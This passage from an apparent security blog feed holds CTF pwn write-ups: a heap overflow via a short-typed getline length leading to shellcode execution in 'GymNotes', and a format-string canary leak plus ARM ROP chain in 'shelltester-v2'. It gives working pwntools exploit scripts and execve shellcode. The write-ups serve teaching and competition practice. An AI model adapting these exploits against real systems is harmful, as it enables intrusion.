    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"Invalid option</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Notably, we malloc the first “note”, which is then used by realloc in the <code class="language-plaintext highlighter-rouge">addNote()</code> function above and copy some data into it. Then, <code class="language-plaintext highlighter-rouge">posix_memalign</code> is used to 
allocate some memory (one page) where the function pointers will be placed. Then, those pointers are placed there; the <code class="language-plaintext highlighter-rouge">showNote</code>, <code class="language-plaintext highlighter-rouge">addNote</code>, <code class="language-plaintext highlighter-rouge">delNote</code> and <code class="language-plaintext highlighter-rouge">editNote</code>
functions. The <code class="language-plaintext highlighter-rouge">allowFunctionsExec</code> is called, but we know from above that it will not do anything as the <code class="language-plaintext highlighter-rouge">mode</code> variable is odd. Finally we enter our menu and our 
<code class="language-plaintext highlighter-rouge">optionFuncs</code> function pointers are dereferenced and called depending on the choice we make.</p>

<p>And now for the last of the functions, the <code class="language-plaintext highlighter-rouge">delNote</code> function. It makes sense to see this one last after looking at everything else.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">delNote</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Function 0x%lx isn't implemented yet..</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">delNote</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Super short, and the only thing that it does is give us a leak so that we can see where the <code class="language-plaintext highlighter-rouge">delNote</code> function is within the binary. So, we can find the 
base address.</p>

<p>Now, what to do with all this info? We can infer that since there is a function that will mark the region of memory where the function pointers are executable, we 
must find a way to call this function, pass in an even <code class="language-plaintext highlighter-rouge">mode</code> argument, and then store some shellcode in the area. But how do we do that?</p>

<p>Enter, this section of code present in <code class="language-plaintext highlighter-rouge">addNote</code> and <code class="language-plaintext highlighter-rouge">editNote</code> with some gaps omitted for brevity.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="n">line</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">short</span> <span class="n">nread</span><span class="p">;</span>

<span class="n">nread</span> <span class="o">=</span> <span class="n">getline</span><span class="p">(</span><span class="o">&amp;</span><span class="n">line</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>

<span class="k">if</span><span class="p">(</span><span class="n">nread</span> <span class="o">&gt;=</span> <span class="n">MAX_NOTE_SIZE</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Too many characters, adding note failed..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">getline</code> will read in an arbitrary amount of bytes, then use malloc to store those bytes somewhere on the heap, and return the number of bytes read in. However, you might notice that the the variable <code class="language-plaintext highlighter-rouge">nread</code> is a short. Which means that it can only represent numbers from -32767 to 32767. Sooo…. what if we send in over 32767 characters, get the <code class="language-plaintext highlighter-rouge">nread</code> variable to overflow (become negative), and then we get pass the <code class="language-plaintext highlighter-rouge">nread &gt;= MAX_NOTE_SIZE</code> check? This would give us a massive heap overflow. Shoutout to my teammates <code class="language-plaintext highlighter-rouge">@pawnlord</code> and <code class="language-plaintext highlighter-rouge">@athryx</code> for first noticing the issue.</p>

<p>Now, do you remember what was also on the heap? Ahh yes, that array of function pointers…</p>

<p>So what if we overflowed so much on the heap that we could write into this array of function pointers? That is exactly what we are going to do.</p>

<p>Here we have some python code… what we’ll do is send in 32768 bytes (one more than 32767), set a breakpoint within gdb at the point where the array function pointers are dereferenced,
and attempt to call the <code class="language-plaintext highlighter-rouge">showNote</code> function to see how our cyclic pattern has affected the array.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>

<span class="n">cyc</span> <span class="o">=</span> <span class="n">cyclic</span><span class="p">(</span><span class="mi">32768</span><span class="p">)</span>
<span class="n">add</span><span class="p">(</span><span class="n">cyc</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
</code></pre></div></div>
<p>Here is the result:
<img src="cyclic_overflow.png" alt="" /></p>

<p>So, we can see that we’ve overflown into the the <code class="language-plaintext highlighter-rouge">optionFuncs</code> memory space and our program segfaults when it tries to call part of our cyclic pattern. Using <code class="language-plaintext highlighter-rouge">cyclic -l</code> in gdb we know that the <code class="language-plaintext highlighter-rouge">optionFuncs</code> array starts at an offset of 2424 characters.  Now that we know this works, 
the next step will be to try and call <code class="language-plaintext highlighter-rouge">allowFunctionsExec</code> so that we can mark that space as executable and stash some shellcode there.</p>

<p>But first we need to know where the address of <code class="language-plaintext highlighter-rouge">allowFunctionsExec</code> is, so we can just use the <code class="language-plaintext highlighter-rouge">delNote</code> function and parse the leak. The <del>ugly</del> beautiful code for that is here.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">delete</span><span class="p">():</span>                                                                                              
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>                                                                                       
    <span class="n">leaked</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()</span>                                                                                      
    <span class="n">leaked</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">' '</span><span class="p">)</span>                                                                      
    <span class="n">del_addr</span> <span class="o">=</span> <span class="n">leaked</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>                                                                                   
    <span class="n">del_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">del_addr</span><span class="p">.</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>                                                                  
    <span class="k">return</span> <span class="n">del_addr</span>

<span class="n">base</span> <span class="o">=</span> <span class="n">delete</span><span class="p">()</span> <span class="o">-</span> <span class="mi">5798</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'elf base @ </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">base</span>
</code></pre></div></div>

<p>We also subtract <code class="language-plaintext highlighter-rouge">5798</code> from the address we leaked as this is the offset to the base address from the <code class="language-plaintext highlighter-rouge">delNote</code> function.</p>

<p>Now we’ll try and call <code class="language-plaintext highlighter-rouge">allowFunctionsExec</code>. Since we need the second argument to be even, this presents a tad bit of a challenge. It took me a while to find out how to make it so,
and embarrassingly, it is not that complicated. Basically whatever option you pass into <code class="language-plaintext highlighter-rouge">scanf</code> in the menu ends up in <code class="language-plaintext highlighter-rouge">rsi</code> after <code class="language-plaintext highlighter-rouge">scanf</code> returns. In other words, we have to 
make it so that the <code class="language-plaintext highlighter-rouge">allowFunctionsExec</code> function pointer is either at the 2nd or 4th indicie in the array of function pointers and then it’ll do its mprotect thing.</p>

<p>The layout of the array after our overflow will look like this</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">optionFuncs</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s">"aaaaaaaa"</span><span class="p">;</span>
<span class="n">optionFuncs</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">allowFunctionExec</span><span class="p">;</span>
<span class="n">optionFuncs</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">optionFuncs</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>Then we can send in <code class="language-plaintext highlighter-rouge">2</code> when prompted for an option and we’ll basically call <code class="language-plaintext highlighter-rouge">allowFunctionExec</code>. Here is some python code.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">2432</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">allow_funcs</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'c'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">32768</span> <span class="o">-</span> <span class="p">(</span><span class="mi">8</span> <span class="o">+</span> <span class="mi">2432</span><span class="p">))</span>
<span class="n">add</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'mprotect at '</span><span class="p">))</span>
<span class="n">mprotect</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'..'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">mprotect</span><span class="p">))</span>
</code></pre></div></div>

<p>In addition to calling <code class="language-plaintext highlighter-rouge">allowFunctionExec</code>, we also get a leak so we know where the beginning of the mprotected section of <code class="language-plaintext highlighter-rouge">optionFuncs</code> is.</p>

<p><img src="calling_allowfunc.png" alt="" /></p>

<p>Here is a lil sample of calling <code class="language-plaintext highlighter-rouge">allowFunctionExec</code>.</p>

<p>What next? Well, we can utilize the same vuln in the <code class="language-plaintext highlighter-rouge">editNote</code> function such that we put shellcode in that array along with the <code class="language-plaintext highlighter-rouge">mprotect</code> pointer that was leaked. Then we 
can use one of the menu options to call the index where the mprotect pointer resides such that we can jump to that position and execute the shellcode. Here is what the array 
will look like with our exploit.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">optionFuncs</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">;</span>
<span class="n">optionFuncs</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">;</span>
<span class="n">optionFuncs</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">;</span>
<span class="n">optionFuncs</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">mprotect</span> <span class="n">ptr</span><span class="p">;</span>
</code></pre></div></div>

<p>After we send in a payload to make the array look like the above pseudo code, we can use menu option <code class="language-plaintext highlighter-rouge">4</code> which will execute the mprotect pointer we sent in, and that will jump to the beginning of the optionFuncs array and execute our shellcode. Below is the python we’ll use for this part of the exploit.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'4'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>

<span class="n">shellcode</span> <span class="o">=</span>  <span class="sa">b</span><span class="s">'</span><span class="se">\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05</span><span class="s">'</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'b'</span> <span class="o">*</span> <span class="mi">2424</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x61</span><span class="s">'</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">shellcode</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">mprotect</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'d'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">32768</span> <span class="o">-</span> <span class="p">(</span><span class="mi">2424</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="p">))</span>
<span class="n">edit</span><span class="p">(</span><span class="sa">b</span><span class="s">'0'</span><span class="p">,</span> <span class="n">payload2</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'4'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Note that we had to do some finagling… The mprotect address ends with 3 zeros. This was causing some termination issues, I believe when the <code class="language-plaintext highlighter-rouge">strcpy</code> would copy the data into the buffer. So, I placed a dummy ascii character, <code class="language-plaintext highlighter-rouge">0x61</code>, and then the 23 bytes of shellcode. That takes up 3 indicies of the array. Then the final index, the mprotect pointer + 1 will point back to the start of the array + 1.</p>

<p>Here’s a shot in gdb right when we are calling the mprotect ptr with menu option <code class="language-plaintext highlighter-rouge">4</code>. The red rectangle is where the pointer is being called and the lilac rectangle is 
the memory layout around that pointer. You can see the ascii <code class="language-plaintext highlighter-rouge">\x61</code>, the shellcode, and the mprotect pointer laid out.</p>

<p><img src="final_exp.png" alt="" /></p>

<p>And that should give us a shell!</p>

<p><code class="language-plaintext highlighter-rouge">flag{D1d_y0u_G3T_y0Ur_d00R_b4Ck?}</code></p>

<p>Twas a fun challenge and learned a bit as well!</p>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="b01lers" /><summary type="html"><![CDATA[Nothing like staying up until 3am solving CTF challenges am I right? HackLu CTF put on by FluxFingers was a really cool CTF and I managed to solve GymNotes. Below are my ramblings.]]></summary></entry><entry><title type="html">CyberSpace CTF 2024</title><link href="https://gabri3l.net/2024-CyberSpace-CTF-2024/" rel="alternate" type="text/html" title="CyberSpace CTF 2024" /><published>2024-09-02T00:00:00+07:00</published><updated>2024-09-02T00:00:00+07:00</updated><id>https://gabri3l.net/2024-CyberSpace-CTF-2024</id><content type="html" xml:base="https://gabri3l.net/2024-CyberSpace-CTF-2024/"><![CDATA[<p>Another weekend, another CTF. This weekend it was the first iteration of CyberSpace CTF and I played with b01lers. Despite some early infra issues, I enjoyed 
playing. I contributed to the solves of a few additional challenges, but I plan on writing up <code class="language-plaintext highlighter-rouge">ticket-bot-v2</code> and <code class="language-plaintext highlighter-rouge">shelltester-v2</code>, which I primarily worked on. 
656e6a6f79!</p>

<h1 id="shelltester-v2--pwn--49-solves">shelltester-v2 | pwn | 49 Solves</h1>
<blockquote>
  <blockquote>
    <p>Shellltester was an easy one. I changed the program. Can you solve this one?</p>
  </blockquote>
</blockquote>

<p>First thing we notice after extracting the challenge files from the given zip file is the inclusion of the <code class="language-plaintext highlighter-rouge">qemu-arm-satic</code> binary, which means this challenge is 
likely 32 bit ARM. And, upon running the <code class="language-plaintext highlighter-rouge">file</code> command, our suspicions are correct. Let’s run <code class="language-plaintext highlighter-rouge">checksec</code> and have a look at what protections we are up against.</p>

<p><img src="shelltester-checksec.png" alt="" /></p>

<p>So, we can overwrite the GOT if needed, we’ll have a canary to contend with, the stack is marked as “No Execute”, and the binary addresses are not random. With this
in mind, let’s throw this in <code class="language-plaintext highlighter-rouge">ghidra</code> and find the <code class="language-plaintext highlighter-rouge">main</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined4</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Again an easy pwn, but now on a different architecture. Good Luck!"</span><span class="p">);</span>
  <span class="n">vuln</span><span class="p">();</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So, looks like buffering is set up for the remote connection and a function (I renamed it to <code class="language-plaintext highlighter-rouge">vuln()</code> for reasons which will be apparent later) is called. Let’s 
have a look at that function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">vuln</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">pcVar1</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">buffer1</span> <span class="p">[</span><span class="mi">52</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">buffer2</span> <span class="p">[</span><span class="mi">100</span><span class="p">];</span>
  <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
  
  <span class="n">local_c</span> <span class="o">=</span> <span class="n">__stack_chk_guard</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Tell me something: "</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">buffer1</span><span class="p">,</span><span class="mi">50</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="n">buffer1</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Do you want to say something before you leave?"</span><span class="p">);</span>
  <span class="n">pcVar1</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">buffer2</span><span class="p">,</span><span class="mi">1000</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">!=</span> <span class="n">__stack_chk_guard</span><span class="p">)</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="n">pcVar1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Our input is taken in to one buffer, printed back out at us, and then we are asked to give input into a second buffer.</p>

<p>There are a few key vulnerabilities we’ll leverage to get a shell. The first of which is a <code class="language-plaintext highlighter-rouge">printf</code> vulnerability. The first time we are asked for 
input, it is printed back out at us with the <code class="language-plaintext highlighter-rouge">printf</code> function with no format specifier. This will allow us to specify an arbitrary format string 
(like <code class="language-plaintext highlighter-rouge">%p</code>) to leak values off of the stack.</p>

<p>The second is a buffer overflow the second time we are asked for input. The program uses <code class="language-plaintext highlighter-rouge">fgets()</code> to read 1000 bytes into a 100 byte buffer.</p>

<p>Now, how do we exploit it? We’ll leverage the <code class="language-plaintext highlighter-rouge">printf</code> vulnerability to leak the canary off the stack, bypassing that protection. Then, we’ll find a ROP gadget to
load a pointer to the string <code class="language-plaintext highlighter-rouge">/bin/sh</code> into <code class="language-plaintext highlighter-rouge">r0</code> (because <code class="language-plaintext highlighter-rouge">r0</code> is the first argument for functions… ARM is fun!) and then call <code class="language-plaintext highlighter-rouge">system</code>.</p>

<p>Step 1 is finding that canary. To do so, we’ll use the ol’ trial and error method; sending in some arbitrary format string (E.g <code class="language-plaintext highlighter-rouge">%10$p</code> to leak the “10th” element),
seeing how far away we are from the canary, and then adjusting that <code class="language-plaintext highlighter-rouge">%{x}</code> value until we are able to leak the canary. Here is an example.</p>

<p><img src="shelltester-canary.png" alt="" /></p>

<p>Above (you might have to zoom in), I sent the format string <code class="language-plaintext highlighter-rouge">%38$p</code>. This means I want the “38th” item on the stack, relative to the first item which would just be the result of <code class="language-plaintext highlighter-rouge">%p</code>. The lilac box on the left is the value I leaked with <code class="language-plaintext highlighter-rouge">%38$p</code> and the lilac box on the right is that value on the stack. The stack was 
examined with the <code class="language-plaintext highlighter-rouge">pwndbg</code> command of <code class="language-plaintext highlighter-rouge">stack 50</code> right after the <code class="language-plaintext highlighter-rouge">printf</code> call. So, the “38th” stack index is <code class="language-plaintext highlighter-rouge">0x40800224</code>. But, we want the canary. To find it, 
we’ll send in 99 <code class="language-plaintext highlighter-rouge">a</code>s (why 99? Our buffer size is 100 so we’ll send 99 because a newline is added) and inspect the stack after the <code class="language-plaintext highlighter-rouge">fgets</code> call to see how it 
looks before a potential overflow.</p>

<p><img src="stack-after-canary.png" alt="" /></p>

<p>As you can see, our input starts at <code class="language-plaintext highlighter-rouge">0x408001b0</code> and goes until <code class="language-plaintext highlighter-rouge">0x40800210</code>. Remember, canary’s are usually stored before the base pointer (frame pointer (<code class="language-plaintext highlighter-rouge">fp</code>) in 
ARM’s case) and the return address so that they can do their job and detect memory corruption. As such, it looks like it is at <code class="language-plaintext highlighter-rouge">0x40800214</code> in the above figure. If
you look up two figures, the “38th” element we leaked was at stack address <code class="language-plaintext highlighter-rouge">0x40800200</code>. <code class="language-plaintext highlighter-rouge">0x40800200</code> - <code class="language-plaintext highlighter-rouge">0x40800214</code> (the canary address) = <code class="language-plaintext highlighter-rouge">-20</code>. So, they are 20 
bytes apart. 20 bytes / 4 bytes, because each address is 4 bytes, is 5. So, we can assume that if we increase our format string to <code class="language-plaintext highlighter-rouge">%43$p</code> from <code class="language-plaintext highlighter-rouge">%38$p</code> we’ll leak 
the canary. And we do!</p>

<p>Side note, my debugging setup for these challenges on different architectures is the following. First, use <code class="language-plaintext highlighter-rouge">tmux</code> to split my terminal down the middle vertically. 
Then, use pwntools to start the process using whatever qemu emulator is required, in debug mode, in the left window.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'qemu-arm-static -g 1234 chall'</span><span class="p">.</span><span class="n">split</span><span class="p">())</span>
</code></pre></div></div>

<p>Finally, use <code class="language-plaintext highlighter-rouge">gdb-multiarch -x</code> with a <code class="language-plaintext highlighter-rouge">.gdb</code> file in the right window to debug, like so.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>file chall
tar ext: 1234
init-pwndbg
break *vuln
</code></pre></div></div>

<p>So, now that we know we can defeat that canary, how do we call a shell? Well, this challenge took much longer than it should have to solve because I was first 
looking for gadgets to try a GOT overwrite. Then, after questioning my sanity, I realized that this challenge is STATICALLY LINKED AHHHHHHSHHHHAHHA. So after some 
<del>internally directed profanity</del> thoughtful deliberation, I knew all I had to do was find a gadget to load a pointer to <code class="language-plaintext highlighter-rouge">/bin/sh</code> into <code class="language-plaintext highlighter-rouge">r0</code>. Because of the 
challenge’s statically linked-ness:</p>
<ol>
  <li>We have all the gadgets one could ask for</li>
  <li>The string <code class="language-plaintext highlighter-rouge">/bin/sh</code> and <code class="language-plaintext highlighter-rouge">system</code> are in the binary requiring no libc leaks</li>
</ol>

<p>The gadget I chose was <code class="language-plaintext highlighter-rouge">ldr r0, [sp, #8]; add sp, sp, #0x14; pop {pc}</code> located at <code class="language-plaintext highlighter-rouge">0x000673cc</code>. This will load something into <code class="language-plaintext highlighter-rouge">r0</code> relative to the stack pointer,
increment the stack pointer, and then pop something off the stack into <code class="language-plaintext highlighter-rouge">pc</code> to continue the chain of execution. Let’s see that in action. Notice how this is 
different than x86. In ARM, you usually populate registers by loading relative to the stack instead of popping, and return by popping something into the <code class="language-plaintext highlighter-rouge">pc</code> (program counter), which is the equivalent of <code class="language-plaintext highlighter-rouge">RIP</code> on ARM. <code class="language-plaintext highlighter-rouge">Azeria Labs</code> has a great ARM tutorial.</p>

<p>Let’s see this gadget in action.</p>

<p><img src="shelltester-ropchain.png" alt="" /></p>

<p>We can see that we added 8 bytes of padding since we load <code class="language-plaintext highlighter-rouge">r0</code> with <code class="language-plaintext highlighter-rouge">/bin/sh</code> at an offset of <code class="language-plaintext highlighter-rouge">#8</code>. Finally, we add some more padding (<code class="language-plaintext highlighter-rouge">c</code>s) to account for the 
<code class="language-plaintext highlighter-rouge">add sp, sp, #14</code> instruction which will increment the stack pointer. That is such that when <code class="language-plaintext highlighter-rouge">pop {pc}</code> is called, <code class="language-plaintext highlighter-rouge">system()</code> will be sitting right there on the
top of the stack waiting to be called.</p>

<p>And that’s that! When running our script that implements this, we get code execution. I quite like ARM and this was a fun challenge. Solve script below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"chall"</span><span class="p">)</span>

<span class="c1">#p = process('qemu-arm-static -g 1234 chall'.split())
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"shelltesterv2.challs.csc.tf"</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>

<span class="n">ldr_r0_sp</span> <span class="o">=</span> <span class="mh">0x000673cc</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%43$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Good Luck!'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">binsh</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">'/bin/sh'</span><span class="p">).</span><span class="n">__next__</span><span class="p">()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="mi">100</span><span class="p">,</span>
    <span class="n">canary</span><span class="p">,</span>
    <span class="mh">0x40800234</span><span class="p">,</span>
    <span class="n">ldr_r0_sp</span><span class="p">,</span>
    <span class="s">'b'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">binsh</span><span class="p">,</span>
    <span class="s">'c'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">system</span>
<span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="c1">#CSCTF{4rm_pwn_1s_c00l_r1ght?}
</span></code></pre></div></div>

<h1 id="ticket-bot-v2--pwn--63-solves">ticket-bot-v2 | pwn | 63 Solves</h1>
<blockquote>
  <blockquote>
    <p>Welcome to TicketBot v2.0. We fixed some bugs and added some extra feature!</p>
  </blockquote>
</blockquote>

<p>Shall we look at the protections?</p>

<p><img src="ticket-protections.png" alt="" /></p>

<p>Full protections :gasp</p>

<p>Never fear, let’s have a look in ghidra to see what we are dealing with.</p>

